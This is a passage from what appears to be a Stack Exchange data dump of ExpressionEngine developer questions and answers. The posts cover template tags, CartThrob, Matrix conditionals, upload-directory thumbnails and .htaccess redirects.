{/if}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/span7--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/nested-row--&amp;gt;&amp;lt;hr/&amp;gt;&#xA;&#xA;&#xA;{paginate}&#xA; {pagination_links}&amp;lt;div class=&quot;centered block&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;paginate centered&quot;&amp;gt;&#xA;&#xA;&#xA;                {previous_page}&#xA;                        &amp;lt;li class=&quot;float-left&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous&amp;amp;nbsp;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/previous_page}&#xA;&#xA;                {page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;amp;nbsp;//&amp;amp;nbsp; &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/page}&#xA;&#xA;                {next_page}&#xA;                        &amp;lt;li class=&quot;float-right&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/next_page}&#xA;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/pagination_links}&#xA;    {/paginate}&#xA;&#xA;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/spnn8--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/row--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/container--&amp;gt;&#xA;&amp;lt;hr class=&quot;course&quot;&amp;gt;&#xA;&#xA;{embed=&quot;includes/_foot&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="7705" LastEditDate="2019-01-03T16:00:46.823" LastActivityDate="2019-01-03T16:00:46.823" Title="Playa data not displaying" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7692" PostTypeId="2" ParentId="7691" CreationDate="2013-03-25T17:37:48.403" Score="2" Body="&lt;p&gt;Can I ask you to create a totally new template. Put &lt;strong&gt;nothing&lt;/strong&gt; but this in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;courses&quot; dynamic=&quot;on&quot; limit=&quot;8&quot; disable=&quot;member_data&quot; status=&quot;not closed&quot;} &#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {course_related_venue}&amp;lt;strong&amp;gt;course_related_venue:&amp;lt;/strong&amp;gt; {title}{/course_related_venue}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you're pulling up an entry on that template that has at least one child.  Do you get any data out of that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-25T17:37:48.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7693" PostTypeId="2" ParentId="7688" CreationDate="2013-03-25T17:51:15.163" Score="1" Body="&lt;p&gt;You can add the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/clear_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Clear Cart&lt;/strong&gt;&lt;/a&gt; tag to your checkout workflow to force the cart to empty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:clear_cart return=&quot;cart/home&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-25T17:51:15.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7694" PostTypeId="1" AcceptedAnswerId="7702" CreationDate="2013-03-25T18:01:20.670" Score="1" ViewCount="83" Body="&lt;p&gt;My client wants an RSS feed link near her comments form so users can subscribe to comments, which would update whenever someone posts a new comment. It's been quite a while since I've done something like this, so I'm kind of drawing a blank here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought initially I could simply pull in the entry_id into the channel entries, but then I realized that I'm not using the channel entry_id in the URL (using title path), so where does it pull the entry info from to know for which post the comments should be displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this just a case of using dynamic=&quot;on&quot; (or &quot;yes&quot; or whatever we're calling it these days)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Help? Pointing and laughing? :) I appreciate any insight here. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sorry for all my fumbling in here, I've not posted much here before. :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1220" LastEditorUserId="1220" LastEditDate="2013-03-25T20:10:47.343" LastActivityDate="2013-03-25T20:10:47.343" Title="Creating an Entry-Specific Comments RSS Feed" Tags="|comments|rss|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7695" PostTypeId="2" ParentId="7687" CreationDate="2013-03-25T18:03:21.463" Score="2" Body="&lt;p&gt;Going from the PHP error, it sounds like the files weren't uploaded correctly. I would delete the entire &lt;code&gt;third_party/store&lt;/code&gt; folder from your server and try uploading it again.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-25T18:03:21.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7696" PostTypeId="2" ParentId="7685" CreationDate="2013-03-25T18:04:46.923" Score="1" Body="&lt;p&gt;You probably have a &quot;per user limit&quot; set for the promo code. Although it's not particularly clear, this by definition requires that a member be logged in, otherwise anonymous customers could easily get around the limit.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-25T18:04:46.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7697" PostTypeId="1" CreationDate="2013-03-25T18:24:29.150" Score="1" ViewCount="615" Body="&lt;p&gt;Maybe I am a moron, but i just can't get this to work. Iv anyone can help me... please do so before i start hurting myself... :p &#xA;I'm working with EE 2.5.5 and Matrix 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a channel called &quot;&lt;strong&gt;events&lt;/strong&gt;&quot;. &#xA;A matrix field assigned to &quot;events&quot; called &quot;&lt;strong&gt;dates&lt;/strong&gt;&quot; (minimum rows = 0). &#xA;&quot;Dates&quot; has 3 colums, a date column called 'date', a text column called 'city' and a P&amp;amp;T Switch called 'confirmed'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each entry has either no date (=no row), one date oder multiple dates. Each  'date' can of course be „in the future“ or „in the past“ since past events don't get deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to put out a list of all entries in this channel and ONE date (if conditions are met). &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If there is no date specified (=no row) in the matrix field: &quot;&lt;strong&gt;no date specified&lt;/strong&gt;&quot; &lt;/li&gt;&#xA;&lt;li&gt;If there ARE entries for dates:&lt;br&gt;&#xA;case 1: in the future, i need &lt;strong&gt;the next upcoming date&lt;/strong&gt;&lt;br&gt;&#xA;case 2: all dates in the past, i need &quot;&lt;strong&gt;no date specified&lt;/strong&gt;&quot; again&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried everything i can think of but it seems i am not able to use if:else  between my matrix tags... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My approach:&lt;/strong&gt; &#xA;Getting entries with no date is easy. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if dates}&#xA;   do something...&#xA;{if:else} &#xA;   no dates found&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, so good. But when i try to do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if dates}&#xA;       {dates search:date=&quot;&amp;gt;{current_time}&quot; sort=&quot;asc&quot; limit=&quot;1&quot;}&#xA;          {if date} &#xA;             {date format=&quot;%d.%m.%Y&quot;} &amp;lt;!-- outputs next upcoming date if there is one --&amp;gt;&#xA;          {if:else} &#xA;             no date specified &amp;lt;!-- THIS does not work. Should get triggered when there &#xA;ARE rows in &quot;dates&quot; but all &quot;date&quot;-values are &amp;lt; current_time =  already happened,  --&amp;gt;&#xA;          {/if}&#xA;       {/dates}&#xA;    {if:else}&#xA;       no date specified &amp;lt;!-- no row --&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &#xA;I've spent 4 hours trying everything i could think of... still getting nowhere....&lt;/p&gt;&#xA;" OwnerUserId="1231" LastActivityDate="2013-03-26T18:42:18.453" Title="if:else not working with my matrix tag pair" Tags="|matrix|ifelse|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7698" PostTypeId="1" AcceptedAnswerId="7699" CreationDate="2013-03-25T18:33:55.683" Score="0" ViewCount="98" Body="&lt;p&gt;I just performed a clean install of EE onto a local virtual host, and having checked the installation by successfully logging into the CP, followed that up by bringing into play the MasterConfig files. I copied those over from my last project since I had them modified from the basic FocusLab files (lots of config-variables added in, extra commented headers for my own reference, etc). I had used these same files to switch another project over to MasterConfig system just a few days ago, with no problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I updated the system folder location in my webroot index.php and admin.php files, as normal, made sure all the folders were in the correct locations, and checked that all was okay by going to log into the CP. And got the response &lt;strong&gt;'Unable to load the following extension file: ext.republic_variables.php'&lt;/strong&gt;. Now, the project that these MasterConfig files were grabbed from &lt;em&gt;did&lt;/em&gt; use Republic Variables. And since this is a virgin install, of course those extension files are not present. But since the only change between the successful CP login and the failed one was the introduction of the MasterConfig files (and some folder moving), I have to conclude that somewhere in the MasterConfig files there must be a reference to Republic Variables. But I absolutely cannot find it anywhere. Does anyone have any ideas what code in MasterConfig might be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-03-25T18:41:51.850" Title="MasterConfig seems to retain reference to Republic Variables somewhere" Tags="|focus-lab-master-config|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7699" PostTypeId="2" ParentId="7698" CreationDate="2013-03-25T18:41:51.850" Score="0" Body="&lt;p&gt;It's more likely to be that RV has not been uninstalled before moving the database (ie, it has a couple of rows in exp_extensions table that need to be deleted manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has a handful of its own tables that will need deleting.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-25T18:41:51.850" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7700" PostTypeId="1" AcceptedAnswerId="7705" CreationDate="2013-03-25T19:16:47.927" Score="0" ViewCount="41" Body="&lt;p&gt;I'm building an ecommerce site with Cartthrob where I need to produce a feature for the home page which lists the top 20 sales. This would be simple enough but the client wants to be able to override this and bump up other tracks on the top sellers board from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind instead of simply outputting the top 20 sellers at the template level with a simple database query I now have to pull them into the control panel to allow for doctoring before displaying them in the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest the best way to go about this?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-25T20:14:45.433" Title="Top 20 sales with overrides" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7701" PostTypeId="2" ParentId="7697" CreationDate="2013-03-25T19:26:13.500" Score="2" Body="&lt;p&gt;This will most likely be to do with &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;. Because you're using advanced conditionals they will be parsed late on and probably evaluated after Matrix conditionals are processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try with simple conditionals by just using {if} statements. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if dates != &quot;&quot;}&#xA;   do something&#xA;{/if}&#xA;{if dates == &quot;&quot;}&#xA;   no dates found&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Depending on what type of data is returned from dates you may need to experiment with your conditional checking. It could return a boolean for instance rather than a string)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to your nested if statement. Apply the same principle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above will be processed much earlier in the parse order and that will most likely make the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what the outcome of that is.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-25T19:26:13.500" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="7702" PostTypeId="2" ParentId="7694" CreationDate="2013-03-25T19:38:16.503" Score="0" Body="&lt;p&gt;Did that solve it for you Joelle? You can also pass in the entry_id as a parameter such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries entry_id=&quot;{entry_id}&quot; }&#xA;   ...&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-25T19:38:16.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7703" PostTypeId="2" ParentId="7690" CreationDate="2013-03-25T20:04:35.023" Score="1" Body="&lt;p&gt;Don't think that's possible either.. ? I always just let Google figure it out for me; &lt;a href=&quot;http://www.google.nl/#hl=nl&amp;amp;sclient=psy-ab&amp;amp;q=700+kb+to+bytes&amp;amp;oq=700+kb+to+bytes&amp;amp;gs_l=hp.3...6831.10272.1.10357.15.12.0.2.2.0.142.689.9j2.11.0...0.0...1c.1.7.psy-ab.zDunhEW7NEM&amp;amp;pbx=1&amp;amp;bav=on.2,or.r_qf.&amp;amp;bvm=bv.44158598,d.d2k&amp;amp;fp=c2fad194df1bc4c6&amp;amp;biw=1463&amp;amp;bih=876&quot; rel=&quot;nofollow&quot;&gt;Google Math&lt;/a&gt;. It's an extra step but manageable I think.&lt;/p&gt;&#xA;" OwnerUserId="1233" LastActivityDate="2013-03-25T20:04:35.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7704" PostTypeId="2" ParentId="7688" CreationDate="2013-03-25T20:09:15.743" Score="0" Body="&lt;p&gt;I experienced something like this at one point - if the administrator &quot;successful order&quot; email does not get sent, the basket does not get cleared properly - there's sort of an order of operations behind the scenes in CartThrob, each triggering the next action. Are your administrator email notifications being sent and received when a customer goes through the checkout?  Once I got the admin emails working, the checkout clearing was fixed at the same time in my case.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-25T20:09:15.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7705" PostTypeId="2" ParentId="7700" CreationDate="2013-03-25T20:09:39.217" Score="0" Body="&lt;p&gt;Side-stepping the obviously-unethical practice of lying to customers about what is indeed a &quot;top-seller&quot; (maybe consider renaming this list &quot;hot tracks&quot; or something less deceitful?) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid having to build a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;module and control panel&lt;/a&gt; for it, I'd use something like &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; with a &lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; field, allow your client to select a &quot;sales position&quot; (first column) and a product (channel entry selection - second column) for each row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in a simple plugin you can query the top sales from CartThrob, then query the data saved by that variable (in the &lt;code&gt;exp_matrix_data&lt;/code&gt; table) and bump any actual sales positions out of their place with you fraudulent sales data if need be.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-25T20:09:39.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7706" PostTypeId="2" ParentId="7700" CreationDate="2013-03-25T20:14:45.433" Score="0" Body="&lt;p&gt;You could use Low Variables with a Playa field. Let the client choose a list of X products. Add some other variable like a checkbox to switch the automated list or theirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downside is you need to buy extra add-ons ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, also &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-entry-select&quot; rel=&quot;nofollow&quot;&gt;NSM Entry Select&lt;/a&gt; could help. Which is free. Same basic setup, create a custom field type which allows the client to pick entries from the products channel. You'd need to put these fields somewhere though, Low Variables would be a good help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Or what Derek said ;)&lt;/p&gt;&#xA;" OwnerUserId="1233" LastActivityDate="2013-03-25T20:14:45.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7707" PostTypeId="1" CreationDate="2013-03-25T21:08:12.007" Score="1" ViewCount="173" Body="&lt;p&gt;I have to switch off error handling and use the less than ideal EE native error handling page. I get the following error message when I try to use error_handling=&quot;inline&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Core::generate_page() in …./store/mod.store.php on line 784&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version: 2.1.3 Build 20101220&#xA;Store version: 1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the example template, which comes with Exp:resso Store. All other aspects of the Store module work perfectly, it's just the error_handling which doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any assistance/advice!&lt;/p&gt;&#xA;" OwnerUserId="1234" LastEditorUserId="1234" LastEditDate="2013-03-26T08:32:06.187" LastActivityDate="2013-06-24T11:45:18.080" Title="error_handling=&quot;inline&quot; not working in exp:resso store" Tags="|expresso-store|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7708" PostTypeId="1" AcceptedAnswerId="7712" CreationDate="2013-03-25T21:08:31.120" Score="0" ViewCount="24" Body="&lt;p&gt;My client has an old site that is using EE 1.6.8. They need to be able to select multiple members from a list to display member field information about them. Before I went and created something using queries, I thought I would ask and see if anyone knew of an existing fieldtype of such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry template would be pretty simple. Just a simple copy field with a gallery of employee photos. Only some of the employees will be listed though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-03-25T23:40:08.190" Title="ExpressionEngine 1 - Fieldtype to select members" Tags="|members|ee1|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7710" PostTypeId="1" CreationDate="2013-03-25T22:04:33.470" Score="1" ViewCount="128" Body="&lt;p&gt;OK, I had a site working and today when I went back to it some strange issues are happening.  I'm not sure what I did, if anything.  But more importantly, I can't figure out what to do!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally I had my .htaccess file set to remove the index.php from the URL.  In the CP, under General Settings, I had the &quot;Name of your site's index page&quot; as blank (per a recommendation).  Everything seemed to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, any of my page links (ie mysite.com/page) simply show the home page (I've tested by adding and removing text from the home page template).  I thought it was my .htaccess file so I replaced it with the one that Ellislab has in their documents.  If I add the index.php back (ie. mysite.com/index.php/page), it works.  However, the index.php is still showing up in the URL even though my .htaccess file is supposed to be removing it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put my .htaccess file back, it removes the index.php, but then just shows the home page content again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if I've inadvertently changed a setting or something, so any help or advice is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS - This is an MSM site, and this is &quot;Site 2&quot; in the group.  Again, it has been working the past few days while I was working on setting up the custom fields, etc....&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-03-31T20:08:46.423" Title="Index.php and Strange Redirection" Tags="|.htaccess|redirection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7711" PostTypeId="1" CreationDate="2013-03-25T22:49:50.843" Score="-2" ViewCount="74" Body="&lt;p&gt;When I return &quot;entry_id&quot; from my plug-in, I do not want to fetch the &quot;entry_id&quot; of enclosing parent tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel entries tag does this. How does it work? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="631" LastEditDate="2013-03-26T14:10:09.963" LastActivityDate="2013-03-26T14:10:09.963" Title="How do Expression Engine plug-ins query and return data when the 'dynamic=' parameter is set to &quot;no&quot;?" Tags="|plugin|dynamic|parameters|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7712" PostTypeId="2" ParentId="7708" CreationDate="2013-03-25T23:40:08.190" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/vz-members&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/vz-members&lt;/a&gt; may help you out - it's a fieldtype for selecting one or members&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-25T23:40:08.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7713" PostTypeId="1" CreationDate="2013-03-26T04:26:12.987" Score="2" ViewCount="1178" Body="&lt;p&gt;I've just installed assets 205 on EE 255 and am having a strange issue. the regular file manager works fine but the assets view shows blank boxes for all of the images. It has file names, sizes, and dimensions, but no other attributes and no previews. File manager and uploads work fine without Assets, and assets is uploading images but only displaying blank boxes. when I switch back to the regular file manager, the images are fine. any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1237" LastActivityDate="2014-11-10T10:22:54.190" Title="empty thumbnails" Tags="|assets|pixelandtonic|file-manager|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7714" PostTypeId="2" ParentId="2363" CreationDate="2013-03-26T05:06:53.197" Score="2" Body="&lt;p&gt;This is one of those questions where an enormous amount of good information has been posted by an expert - in this case the designer of the plugin/s in question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the solution suggested involves simplification of the original design, and as the conversation's then gone quiet, I am going to follow a tweeted idea to make our StackExchange 'unanswered' space more actionable, and suggest that there's an answer, within the main comment thread.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-03-26T05:06:53.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7715" PostTypeId="2" ParentId="7713" CreationDate="2013-03-26T06:33:12.587" Score="0" Body="&lt;p&gt;this sounds like your system/expressionengine/cache folder is not writable - Assets uses that folder for the thumbnails, as that gives us a chance of creating whatever sizes we need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that was it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-03-26T06:33:12.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7716" PostTypeId="2" ParentId="7711" CreationDate="2013-03-26T07:43:12.763" Score="1" Body="&lt;p&gt;? check if parameter dynamic=&quot;no&quot; exist. If is not exist or dynamic=&quot;yes&quot; then parse the URL try to find information which can be used as parameters for your plugin.  If dynamic=&quot;no&quot; just ignore URL and parser tag parameters only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That all. If is not what you expected - please rephrase you question. &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-26T07:43:12.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7717" PostTypeId="2" ParentId="7713" CreationDate="2013-03-26T08:14:52.913" Score="1" Body="&lt;p&gt;Ah I've had this before also! Could be a difference in your ControlPanel URL in General Configuration and the URL you are actually logged in with (ie www.site.com/system/ or site.com/system). &#xA;Doesnt Assets 2 use the EE native thumbnail-creation? Are you uploading in subfolders with Assets?&lt;/p&gt;&#xA;" OwnerUserId="1233" LastActivityDate="2013-03-26T08:14:52.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7718" PostTypeId="1" AcceptedAnswerId="7724" CreationDate="2013-03-26T09:01:44.030" Score="2" ViewCount="797" Body="&lt;p&gt;There are similar questions on this site but both seem to be Windows related. This is Ubuntu 12.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On EE 2.5.1, I have two upload directories configured:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] =&#xA;  array(&#xA;   1 =&amp;gt; array(                                     &#xA;    'name'        =&amp;gt; 'Article Images',            &#xA;    'server_path' =&amp;gt; '/var/www/myhost/files/article_images/', &#xA;    'url'         =&amp;gt; 'http://myhost/files/article_images/',  &#xA;    'properties'  =&amp;gt; 'style=&quot;border: 0;&quot; alt=&quot;image&quot;'&#xA;   ),&#xA;   2 =&amp;gt; array(                                     &#xA;    'name'        =&amp;gt; 'Image of the Week',            &#xA;    'server_path' =&amp;gt; '/var/www/myhost/files/image_of_week/', &#xA;    'url'         =&amp;gt; 'http://myhost/files/image_of_week/',  &#xA;    'properties'  =&amp;gt; 'style=&quot;border: 0; width:160px;&quot; alt=&quot;image&quot;'&#xA;   )&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can upload images to directory 2 but when I upload to directory 1 I get the message, &lt;code&gt;&quot;Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, the directories are identical: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[myuser@ubuntu:/var/www/myhost/files]$ ll article_images/&#xA;total 20012&#xA;drwxrwxrwx 4 myuser mygroup      12288 Mar 26 10:12 ./&#xA;drwxrwxrwx 6 myuser mygroup       4096 Mar 25 23:33 ../&#xA;... more files&#xA;drwxrwxrwx 2 myuser mygroup   20480 Mar 21 14:26 _thumbs/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[myuser@ubuntu:/var/www/myhost/files]$ ll image_of_week/&#xA;total 340&#xA;drwxrwxrwx 3 myuser mygroup   4096 Mar 26 10:19 ./&#xA;drwxrwxrwx 6 myuser mygroup   4096 Mar 25 23:33 ../&#xA;... more files&#xA;drwxrwxrwx 2 myuser mygroup   4096 Mar 26 10:19 _thumbs/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Details are obfuscated but I can assure you user/group ownership is identical and in any case all permissions are set to 777. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested with the same jpeg image, it uploads fine in &quot;image of week&quot; but fails in &quot;article images&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested the EE server wizard and all requirements show Supported: yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;php.ini shows &lt;code&gt;memory_limit = 128M&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I've dealt with every suggestion offered on the other similar questions on this site. What am I missing? Something obviously wrong in my file upload preferences?&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2013-03-27T08:17:08.933" Title="Image upload thumbnail error for one upload directory but not another" Tags="|file-uploads|error|file-manager|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7719" PostTypeId="1" CreationDate="2013-03-26T09:37:11.833" Score="1" ViewCount="136" Body="&lt;p&gt;I'm working with Stash's wrapper and partial templates. In one of my partials I've put a Safecracker-form inside a {exp:stash:set} tag. Further down that partial-template I {exp:stash:get} that form inside another &quot;main content&quot; {exp:stash:set}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form shows okay on frontend, but when I submit it I get 2 PHP-errors, and all of the form variables and values are appended to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put the form in the wrapper template, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be something I'm doing wrong since I'm quite new to Stash.. what can it be? The channel has no versioning btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The PHP-errors:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**A PHP Error was encountered**&#xA;Severity: Notice&#xA;Message: Undefined index: enable_versioning&#xA;Filename: libraries/Safecracker_lib.php&#xA;Line Number: 1378&#xA;&#xA;&#xA;**A PHP Error was encountered**&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Volumes/Webdev/domains/site.nl/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 405&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Partial 